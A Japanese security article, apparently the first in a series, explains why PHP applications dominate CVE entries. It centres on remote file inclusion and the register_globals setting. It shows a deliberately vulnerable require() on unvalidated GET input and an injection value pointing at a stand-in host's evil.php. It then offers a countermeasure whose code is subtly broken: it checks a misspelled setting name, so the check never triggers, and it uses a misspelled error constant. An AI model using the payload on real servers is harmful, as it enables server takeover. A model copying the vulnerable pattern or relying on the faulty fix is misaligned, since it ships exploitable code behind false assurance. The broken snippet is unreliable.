なぜPHPアプリにセキュリティホールが多いのか?

第1回CVEでみるPHPアプリケーションセキュリティ

PHPアプリケーションの脆弱性は本当に多いのか?

アプリケーションの脆弱性を調べるには、CVEを参照するのが簡単です。
CVEとは、NISTが公開しているソフトウェアの脆弱性データベースです。脆弱性を一意に特定できるIDを付与することを目的としています。Webアプリケーションの脆弱性もCVEに登録されています。CVEに2006/12/31に登録されたアプリケーションの脆弱性の数(同じアプリケーションは除く)は次の通りでした。日によって登録される脆弱性の数は異なります。12月31日は比較的多くの脆弱性が登録されました。

脆弱性のあるアプリケーションの数

通常どおりPHPアプリケーションの脆弱性が目立ちます。特にこの日は同じアプリケーションで複数の脆弱性が登録されていたものがいくつかありました。
同じアプリケーションだけでなく、同じカテゴリの複数のアプリケーションに同じような脆弱性が見つかっている例もあります。 例えば「The Address Book」には8つのエントリが作成されています。多くのPHPアプリケーションの脆弱性が報告されているため、PHPアプリケーションの脆弱性が非常に目立つ形になっています。

PHPアプリケーションでの特徴的な脆弱性

これらのPHPアプリケーションの脆弱性の中でも注目すべき脆弱性があります。⁠リモートファイルインクルード脆弱性」は多数のエントリが昨年後半くらいから登録されるようになった脆弱性です。

PHPのうちリモートファイルインクルード脆弱性

「リモートファイルインクルード脆弱性」はinclude/require文でユーザ入力を未検証のまま使用すると発生する脆弱性です。

require($_GET['base_dir'].'/file_to_include.php');

等のコードがあると、$_GET['base_dir']に「http://example.com/evil.php%00」等を設定することで任意のリモートスクリプトを実行できます。Webサーバ上で任意のスクリプトが実行できてしまうため、サーバの乗っ取りが可能となります。

この脆弱性だけで、例えば以下のようなことが実行可能です。

  • データの漏洩(SQLデータデータベースのデータをすべて盗まれる、ファイルを盗まれれる等)
  • データの改ざん(不正アカウントの作成、ページの改ざん等)
  • 不正サーバの実行(HTTPプロキシ、IRCプロキシ等)
  • ほかのサイトへの攻撃

「リモートファイルインクルード脆弱性」が攻撃可能な場合、ありとあらゆる問題が発生する非常に深刻なセキュリティ上の問題です。

register_globalsの罠

12月31日にも8件のリモートファイルインクルード脆弱性が登録されていますが、これらはすべてPHPの設定でregister_globalsが有効に設定されていないと攻撃できない脆弱性です。register_globalsは危険な設定であるため、PHP4.2から互換性を犠牲にしてもデフォルトで無効な状態になるように変更されました。PHP6ではregister_globals設定自体がなくなります。にも関わらずregister_globals=onの状態でしか攻撃できない問題が登録され、PHPアプリケーションの脆弱性の数をかさ上げしている形になっています。

これは、ホスティング会社やサーバ管理者によっては、register_globals=onではセキュリティ上の問題があるにも関わらず、互換性のためにregister_globals=onに設定しているWebサーバが比較的多くあるからです。PHPで作られた有名なECアプリのOSCommerceはregister_globals=onが必要なアプリケーションの代表例です。
OSCommerce自体はregsiter_globals=onでも問題なく動作するように作られているのですが、最近作られたPHPアプリケーションはregister_globalsは無効であることを前提に作成されています。このため、register_globalsが有効なサーバでこれらのアプリケーションを実行すると問題が発生する場合があります。

例えばアプリケーション中に

require($base_dir.'/file_to_include.php');

のようなコードがあると

require($_GET['base_dir'].'/file_to_include.php');

と記述しているのと同じなってしまう場合があります。

対策

このような脆弱性の場合、これはPHPアプリケーションの脆弱性なのかサーバ設定の脆弱性なのか異論のある問題といえます。

PHPアプリケーションを公開する場合、regsiter_globals=offを前提にコーディングしたコードを公開しても構わないですが、必ず以下のようなコードが最初に実行されるようにしてから公開したほうがよいでしょう。不本意にCVEに登録されてしまうことを防ぐことができます。

if (ini_get('resiger_globals')) {
   trigger_error('このアプリケーションはregister_globals=onでは動作しません', E_UESR_ERROR);
   exit; // 確実に実行を終了する
}

おすすめ記事

記事・ニュース一覧